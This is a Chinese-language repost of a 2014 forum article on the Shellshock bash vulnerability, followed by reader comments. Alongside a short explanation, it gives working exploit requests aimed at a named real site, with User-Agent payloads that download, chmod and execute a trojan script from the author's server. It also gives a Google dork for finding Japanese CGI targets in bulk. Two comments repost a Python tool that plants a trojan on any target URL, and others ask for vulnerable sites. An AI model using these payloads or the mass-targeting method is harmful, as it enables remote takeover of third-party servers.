CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

bash漏洞

2018年11月18日 439点热度 0人点赞 0条评论

bash漏洞
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
Bash远程解析命令执行漏洞测试方法 wivndf2014-09-26金币奖励+10共1074936人围观 ,发现 22 个不明物体 WEB安全漏洞
Bash

从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,也纷纷讨论补救方法。可是,亲,到底怎么对网站进行测试?下面这段脚本

$ env x=‘() { :;}; echo vulnerable' bash -c "echo this is a test"
真的如各路大神们说的这样吗?

它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!
Bash漏洞为什么能够执行

Bash漏洞的原理:

BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。

简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。

Bash漏洞与远程执行有啥联系

看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。

首先解释一下cgi脚本。很多网站类似下面的链接:

GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如

() { :;}; wget http://www.myvps.org/testvul.sh
如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:

在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令

通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。

实际测试中,我的构造的测试请求:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
过程是这样的:

我发送GET请求–>目标服务器cgi路径

目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令

目标服务器wget–>我的myvps.org

我的vps记录下这个访问的IP地址

然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:

大神是这样测试漏洞的

当然,你也可以这样构造:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
实际上执行了下面三句:

/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh
你会发现,脚本就执行了,这就是Bash漏洞利用测试的精髓。

当然,你可以利用批量Google搜索:

filetype:cgi inurl:cgi-bin site:jp

然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞

wivndf
wivndf
1 篇文章
等级: 1级
||
上一篇:Bash漏洞报道:初步补丁并不完整下一篇:Bash漏洞引发僵尸网络狂欢
这些评论亮了

timlover (1级)回复
写了个python 版本的 。
#!/usr/bin/python
# coding=UTF-8
__author__ = 'Andy'
import requests
import sys
try:
if sys.argv[1] == '--help':
print 'usage : python test.py http://mydomain.com trojan.sh http://target.com'
exit(1)
except IndexError:
print 'usage : python test.py http://mydomain.com trojan.sh http://target.com'
exit(1)
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Referrer' : '10001.qzone.qq.com',
'User-Agent': '() { :; }; /usr/bin/wget '+sys.argv[1]+'/'+sys.argv[2]+' -O /tmp/'+sys.argv[2]+' | /bin/chmod 777 /tmp/'+sys.argv[2]+' | /tmp/'+sys.argv[2]+''
}
try:
res = requests.get(sys.argv[3], headers=headers, timeout=10)
except ConnectionError:
print 'DNS 查询失败'
except HTTPError:
print 'DNS 查询失败'
except Timeout:
print '服务器响应超时'
except TooManyRedirects:
print '超过了设定的最大重定向次数'

if res.status_code == 200:
print '植入木马已经完成, 请检查您的服务器下载记录'
)27(亮了
发表评论已有 22 条评论

mmtt (4级) 2014-09-26回复 1楼
干货终于现身了。想问下,批量提交类似的GET请求,是如何做到的。

亮了(2)

wivndf (1级) 我是白帽子,我是白帽子。 2014-09-26回复
@mmtt http://p2j.cn/?p=1495

亮了(0)

wivndf (1级) 我是白帽子,我是白帽子。 2014-09-26回复
@mmtt http://p2j.cn/?p=1495只能帮你到这了。

亮了(4)

MeirLin (5级) 研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后... 2014-09-26回复 2楼
site:jp :lol:

亮了(3)

taylorwin (6级) 2014-09-26回复 3楼
学习了

亮了(1)

vvv 2014-09-26回复 4楼
这个可以干爬不少perl,做得网站,鬼子用得多是吧。php类型的,如果没有system这些系统执行命令,问题应该不大吧

亮了(0)

ha3ky0u (1级) 2014-09-26回复 5楼
site:jp :eek:

亮了(0)

timlover (1级) 2014-09-26回复 6楼
写了个python 版本的 。

#!/usr/bin/python

# coding=UTF-8

__author__ = ‘Andy’

import requests

import sys

try:

if sys.argv[1] == ‘–help’:

print ‘usage : python test.py http://mydomain.com trojan.sh http://target.com’

exit(1)

except IndexError:

print ‘usage : python test.py http://mydomain.com trojan.sh http://target.com’

exit(1)

headers = {

‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8′,

‘Accept-Encoding’: ‘gzip,deflate,sdch’,

‘Accept-Language’: ‘zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4′,

‘Cache-Control’: ‘no-cache’,

‘Connection’: ‘keep-alive’,

‘Referrer’ : ’10001.qzone.qq.com’,

‘User-Agent’: ‘() { :; }; /usr/bin/wget ‘+sys.argv[1]+’/'+sys.argv[2]+’ -O /tmp/’+sys.argv[2]+’ | /bin/chmod 777 /tmp/’+sys.argv[2]+’ | /tmp/’+sys.argv[2]+”

}

try:

res = requests.get(sys.argv[3], headers=headers, timeout=10)

except ConnectionError:

print ‘DNS 查询失败’

except HTTPError:

print ‘DNS 查询失败’

except Timeout:

print ‘服务器响应超时’

except TooManyRedirects:

print ‘超过了设定的最大重定向次数’

if res.status_code == 200:

print ‘植入木马已经完成, 请检查您的服务器下载记录’

亮了(27)

mmtt (4级) 2014-09-26回复 7楼
都是大牛来的啊

亮了(0)

bigjj (1级) 2014-09-26回复 8楼
听说redhat表示发的补丁 不周全,还是存在一些问题,该问题已经重新定义为CVE-2014-7169了

亮了(1)

aaa 2014-09-26回复 9楼
大神,我在服务器看你wget myvps.org 的进程,可惜那个服务器不能外联,顺便说说利用不是这么简单的,情况很多种,目前看来还没有通用的方法和方式

亮了(2)

Xarray (4级) 2014-09-26回复 10楼
debian !!!

亮了(0)

火志溟 2014-09-26回复 11楼
真狠。

亮了(0)

刘月京 2014-09-26回复 12楼
厉害

亮了(0)

Aurora (4级) 2014-09-26回复 13楼
我就看看不说话。

亮了(0)

xin-laolong已经被注册 2014-09-26回复 14楼
谁贴个能用的jp站点

亮了(0)

JDI (1级) 2014-09-27回复 15楼
楼主忘说了,CGI标准规定了很多HTTP 参数通过环境变量传递

亮了(1)

wivndf 2014-09-28回复
@JDI 恩,你补充的是关键点所在。感谢提醒~~

亮了(0)

qiuxuming (1级) 2014-09-28回复 16楼
通过bash漏洞,结合cgi-bin,插入一句话木马,然后用菜刀连接一句话木马。然后。。。。。。

亮了(0)

无丶花 (2级) FB客服MM的男朋友。 2014-09-28回复 17楼
是时候带动一拨儿节奏了!!!!

亮了(1)

devi (1级) 2014-09-29回复 18楼
这个方法不是很合适,因为在实际测试的时候,对方域名的IP与它发起wget请求出去的IP不是同一个IP,这样即使你在vps服务器上记录下一堆IP地址,也没法判断是哪个链接存在漏洞

亮了(4)

谱写 (1级) 2014-10-17回复 19楼
都是大神的节奏

亮了(1)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
wivndf
wivndf

我是白帽子,我是白帽子。

1
文章数
3
评论数
最近文章
Bash远程解析命令执行漏洞测试方法
2014.09.26

浏览更多
相关阅读
Bash漏洞引发僵尸网络狂欢威胁远胜“心脏出血”?国外新爆Bash高危安全漏洞
基于DNS的数据挖掘与分析旧饭新炒之Intel AMT提权漏洞(CVE-2017-5689)后续利用Struts2再曝S2-020补丁绕过漏洞 – 万恶的正则表达式
特别推荐

关注我们 分享每日精选文章

活动预告
11月

FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月

【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月

【首节课仅需1元】挖掘CVE不是梦
已结束
9月

【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank

标签: 暂无
最后更新:2018年11月18日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me